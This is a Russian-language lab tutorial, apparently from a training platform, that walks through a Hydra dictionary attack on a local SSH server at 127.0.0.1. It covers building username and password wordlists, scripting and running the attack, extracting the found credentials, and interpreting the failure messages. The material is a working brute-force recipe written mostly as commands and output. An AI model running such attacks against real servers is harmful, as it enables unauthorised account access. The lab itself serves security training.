Введение
В этом лабораторном занятии вы научитесь проводить словарный атаку на SSH-сервисы с использованием Hydra, мощного инструмента для взлома паролей. Вы узнаете, как создавать списки имен пользователей и паролей, настраивать параметры атаки и выполнять целенаправленные переборы паролей на SSH-сервере.
В рамках лабораторной работы вы получите практический опыт работы с командной структурой Hydra, интерпретацией вывода и анализом результатов. Вы научитесь проверять входные файлы, запускать атаки и определять успешные учетные данные для входа, а также понять распространенные причины неудачи.
Загрузить списки имен пользователей и паролей
На этом этапе вы подготовите важные компоненты для словарной атаки - списки имен пользователей и паролей. Словарная атака заключается в систематическом переборе каждого слова из предварительно определенного списка (словаря) в качестве возможных учетных данных. Для атаки на SSH-сервер нам нужны два отдельных файла: один с возможными именами пользователей и другой с возможными паролями.
- Сначала перейдите в директорию проекта, где мы будем хранить наши файлы. Это поможет организовать все в одном месте:
cd ~/project
- Создадим список имен пользователей с помощью nano, простого текстового редактора. Имя файла
usernames.txtявляется обычным, но вы можете назвать его по-другому:
nano usernames.txt
- В редакторе nano введите распространенные имена пользователей SSH, которые могут использоваться в системах. Каждое имя пользователя должно быть на отдельной строке. Это типичные стандартные или распространенные имена пользователей, которые могут использовать администраторы:
admin
root
user
test
guest
labex
Чтобы сохранить файл в nano, нажмите Ctrl+O (буква O), затем Enter, чтобы подтвердить имя файла. Выйдите из nano, нажав Ctrl+X. Вы вернетесь в командную строку.
Теперь создайте файл с паролями тем же способом. Удивительно, но такие простые пароли часто встречаются в реальных системах:
nano passwords.txt
- Введите эти распространенные пароли, по одному на строку. Обратите внимание, что некоторые пароли совпадают с нашими именами пользователей - люди часто используют одну и ту же строку для обоих:
password
123456
admin
qwerty
letmein
labex
Сохраните и выйдите из nano, как и раньше (Ctrl+O, Enter, Ctrl+X).
Проверим, были ли наши файлы созданы правильно. Команда
ls -lпоказывает, что файлы существуют, а командаcatотображает их содержимое. Это важная проверка качества перед дальнейшими действиями:
ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt
Вы должны увидеть оба файла с указанием их размеров, а затем отобразится их содержимое. Эти файлы являются основой нашей словарной атаки - в следующих шагах Hydra будет систематически пытаться каждую комбинацию имени пользователя и пароля из этих списков на SSH-сервере.
Настроить Hydra для словарной атаки на SSH
На этом этапе вы настроите Hydra для выполнения словарной атаки на SSH, используя списки имен пользователей и паролей, созданные на предыдущем этапе. Словарная атака - это метод, при котором Hydra систематически пробует все возможные комбинации из ваших списков слов, чтобы найти действительные учетные данные.
- Сначала убедитесь, что вы находитесь в правильной рабочей директории, где хранятся файлы проекта:
cd ~/project
Эта команда изменяет текущую директорию на папку проекта, где мы будем работать.
- Проверьте, установлен ли Hydra, проверив его версию:
hydra -v
Вы должны увидеть вывод, показывающий установленную версию Hydra. Это подтверждает, что Hydra готов к использованию и поможет устранить возможные проблемы в будущем.
- Создайте файл с именем
target.txt, содержащий IP-адрес локального SSH-сервера:
echo "127.0.0.1" > target.txt
Мы используем 127.0.0.1 (локальный хост) в качестве цели, так как в этой лабораторной среде мы проводим тестирование на собственной машине.
- Изучите базовую структуру команды Hydra для атак на SSH:
hydra -L <username_list> -P <password_list> <target> ssh
В этом примере показаны минимально необходимые параметры: список имен пользователей (-L), список паролей (-P), целевой IP-адрес/имя хоста и сервис (ssh), на который мы совершаем атаку.
- Подготовьте реальную команду Hydra, используя свои файлы (но не запускайте ее еще):
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh
Где:
-Lуказывает файл со списком имен пользователей (usernames.txt)-Pуказывает файл со списком паролей (passwords.txt)-t 4устанавливает количество параллельных соединений (4 потока для более быстрого тестирования)-vVвключает подробный вывод, чтобы вы могли видеть ход атаки
- Сохраните эту команду в скриптовый файл для выполнения на следующем этапе:
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh
Создание скрипта упрощает повторный запуск атаки и гарантирует, что вы не ошибетесь при наборе команды. Команда chmod делает скрипт исполняемым.
- Перед продолжением проверьте, что все необходимые файлы присутствуют:
ls -l usernames.txt passwords.txt target.txt attack.sh
Эта финальная проверка подтверждает, что у вас есть все необходимые файлы: список имен пользователей, список паролей, файл с целевым адресом и скрипт атаки.
Выполнить словарную атаку на SSH
На этом этапе вы запустите словарную атаку на SSH с помощью Hydra, используя настройки, подготовленные на предыдущих этапах. Hydra - популярный инструмент для взлома паролей, который систематически пробует различные комбинации имен пользователей и паролей для сервисов, таких как SSH.
- Сначала убедитесь, что вы находитесь в правильной рабочей директории, где находится ваш скрипт атаки. Это важно, так как Hydra должен иметь доступ к вашим спискам слов и файлам конфигурации:
cd ~/project
- Проверьте, готов ли скрипт атаки, отобразив его содержимое. Это позволит вам еще раз проверить параметры команды Hydra перед выполнением:
cat attack.sh
Вы должны увидеть команду Hydra, которую мы подготовили ранее, с правильным целевым IP-адресом, портом и путями к спискам слов.
- Перед выполнением убедитесь, что служба SSH запущена на локальном хосте, так как мы проводим тестирование на собственной машине. Hydra нуждается в активной службе SSH для попыток подключения:
sudo service ssh status
Если служба не запущена, запустите ее с помощью следующей команды:
sudo service ssh start
- Выполните скрипт атаки. Это запустит Hydra с всеми настроенными параметрами:
./attack.sh
- Наблюдайте за ходом атаки в режиме реального времени. Hydra предоставит текущую информацию, показывающую:
- Каждую попытку подключения с комбинациями имени пользователя и пароля
- Успешные входы в систему (выделяются при нахождении)
- Неудачные попытки (большинство вывода)
- Финальную статистику, включая процент успеха и затраченное время
- Ожидаемый вывод будет похож на следующий, когда будут найдены учетные данные:
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1 login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
- Атака автоматически остановится в следующих случаях:
- Когда будут протестированы все комбинации из ваших списков слов
- Когда будут найдены действительные учетные данные (по умолчанию в Hydra)
- Если вы вручную прервете процесс с помощью Ctrl+C
- Чтобы сохранить результаты в файл для последующего анализа, перенаправьте вывод. Это создаст постоянную запись всех попыток и результатов:
./attack.sh > attack_results.txt
Просмотреть результаты успешных входов
На этом этапе вы проанализируете результаты словарной атаки на SSH, чтобы определить успешные попытки входа в систему. При проведении тестов безопасности крайне важно правильно документировать и проверить свои находки перед дальнейшим анализом.
- Сначала перейдите в директорию проекта, где хранятся все файлы лабораторной работы:
cd ~/project
- Проверьте, сохранили ли вы результаты атаки с предыдущего этапа. Команда
ls -lпоказывает подробную информацию о файлах, включая время создания и разрешения:
ls -l attack_results.txt
- Если вы не сохранили результаты ранее, запустите эту команду, чтобы сгенерировать их сейчас. Символ
>перенаправляет вывод Hydra в текстовый файл для последующего анализа:
./attack.sh > attack_results.txt
- Просмотрите полные результаты атаки. Команда
catотображает все содержимое файла в терминале:
cat attack_results.txt
- Найдите записи о успешных входах в систему, которые будут выглядеть примерно так. Каждая успешная попытка содержит три ключевые части информации:
[22][ssh] host: 127.0.0.1 login: labex password: labex
- Чтобы извлечь только успешные попытки из потенциально больших файлов результатов, используйте
grepдля фильтрации строк, содержащих "login:". Это сэкономит время при просмотре результатов:
grep "login:" attack_results.txt
- Формат вывода показывает три важных элемента, которые вам понадобятся для проверки:
- Целевой IP-адрес (127.0.0.1) - машина, которая приняла учетные данные
- Успешное имя пользователя (login) - действительное имя учетной записи
- Действительный пароль - соответствующий пароль для этой учетной записи
- Проверьте учетные данные, попробовав выполнить вход в систему по SSH. Это подтверждает, что учетные данные действительно работают в реальной сессии SSH:
ssh labex@127.0.0.1
Введите "yes", чтобы принять ключ хоста, если вас об этом попросят (это происходит при первом подключении), а затем введите пароль по запросу.
- После успешного входа в систему корректно выйдите из сессии SSH, чтобы вернуться в локальный терминал:
exit
- Для лучшей читаемости отформатируйте результаты с помощью этого конвейера команд. Команда
awkпереструктурирует вывод в четкие помеченные поля:
grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'
Понять сообщения об ошибках атаки
На этом этапе мы рассмотрим вывод атаки на SSH с использованием Hydra, чтобы понять, почему некоторые попытки входа в систему завершились неудачей. Анализ этих сообщений об ошибках важен как для специалистов по безопасности, оценивающих уязвимости системы, так и для пентестеров, усовершенствующих свои стратегии атаки.
- Сначала перейдем в директорию проекта, где хранятся результаты атаки. Это гарантирует, что мы работаем с правильными файлами:
cd ~/project
- Теперь мы посмотрим на полный файл с результатами атаки. Он содержит весь вывод попыток входа в систему с помощью Hydra:
cat attack_results.txt
- Чтобы сосредоточиться именно на неудачных попытках, мы отфильтруем успешные входы в систему и поищем общие шаблоны ошибок. Команды
grepпомогут выделить важные сообщения об ошибках:
grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
- Вот наиболее распространенные сообщения об ошибках, которые вы встретите, и их фактическое значение:
invalid password: Имя пользователя было правильным, но пароль не совпалinvalid user: Имя пользователя не существует на целевой системеconnection refused: Служба SSH не запущена на целиconnection timeout: Проблемы с сетью или брандмауэр блокирует доступtoo many connections: Цель обнаружила и заблокировала быстрые попытки входа в систему
- Давайте посчитаем, сколько раз произошло каждое из типов ошибок. Подсчет этих данных помогает понять шаблоны атаки:
grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
- Чтобы узнать, произошли ли ошибки в определенные моменты времени (что может указывать на ограничение скорости), мы извлечем и подсчитаем временные метки:
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
- Теперь мы создадим простой обзорный отчет об ошибках. Эта организованная информация поможет документировать ваши находки:
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
- Для более глубокого исследования мы можем проверить журналы SSH целевой системы (если у вас есть доступ). Часто они содержат более подробную информацию об ошибках:
sudo grep 'sshd' /var/log/auth.log | tail -20
Резюме
В этой лабораторной работе вы научились проводить словарную атаку на SSH с использованием Hydra, подготовив списки имен пользователей и паролей. Процесс включал создание файлов с учетными данными, проверку их содержимого и структурирование команды Hydra с правильными флагами (-L, -P и -t) для эффективной атаки.
Кроме того, вы изучили интерпретацию вывода Hydra для определения успешных входов в систему и анализа результатов атаки. В этой лабораторной работе продемонстрирована важность правильной подготовки файлов, настройки команд и систематического тестирования при атаках на учетные данные SSH.


